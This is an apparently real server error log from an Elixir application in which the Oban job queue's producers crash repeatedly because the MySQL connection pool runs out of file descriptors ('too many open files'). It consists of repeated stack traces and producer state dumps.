State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:54:16.240374Z], limit: 20, uuid: "8cfba842-4911-4a37-b393-58a077fdf056", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:16.240380Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9541>, refresh_timer: #Reference<0.2525715032.1077673987.9507>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:30.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:30.392000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:32.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:33.212000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:33.303000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:38.044000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:40.207000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:54:28.241168Z], limit: 20, uuid: "fa5d4cae-3e30-49e7-a075-a6ae26a5b88c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:28.241176Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9709>, refresh_timer: #Reference<0.2525715032.1077673987.9708>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:40.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:54:28.240027Z], limit: 50, uuid: "22fcbac2-8bc3-402b-b9e8-f1f5167d323f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:28.240033Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9711>, refresh_timer: #Reference<0.2525715032.1121189889.144572>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:54:28.240754Z], limit: 3, uuid: "50306068-385f-43df-83bd-f029c76b1b84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:28.240761Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.36741>, refresh_timer: #Reference<0.2525715032.1121189889.144585>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:40.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:54:28.240570Z], limit: 5, uuid: "c63d25af-51e5-4b07-a30d-151b352e5f47", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:28.240577Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9710>, refresh_timer: #Reference<0.2525715032.1121189889.144583>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:40.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:54:28.238829Z], limit: 10, uuid: "6d831b3f-2f4b-4a1e-9fad-4b0523393307", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:28.238841Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9712>, refresh_timer: #Reference<0.2525715032.1099431938.36710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:54:28.240241Z], limit: 5, uuid: "a4da4a44-28cc-41e3-bb0d-5236b210eee2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:28.240248Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.9713>, refresh_timer: #Reference<0.2525715032.1099431938.36720>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:42.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:43.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:45.225000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:51.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:54:40.241113Z], limit: 50, uuid: "1fd49ac4-a679-4397-8ab5-e9c4f6bd2d45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:40.241120Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.144775>, refresh_timer: #Reference<0.2525715032.1121189889.144738>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:54:40.241247Z], limit: 20, uuid: "72c8a0cd-f245-401b-bbdf-532f0fbb96b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:40.241252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.144774>, refresh_timer: #Reference<0.2525715032.1121189889.144739>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
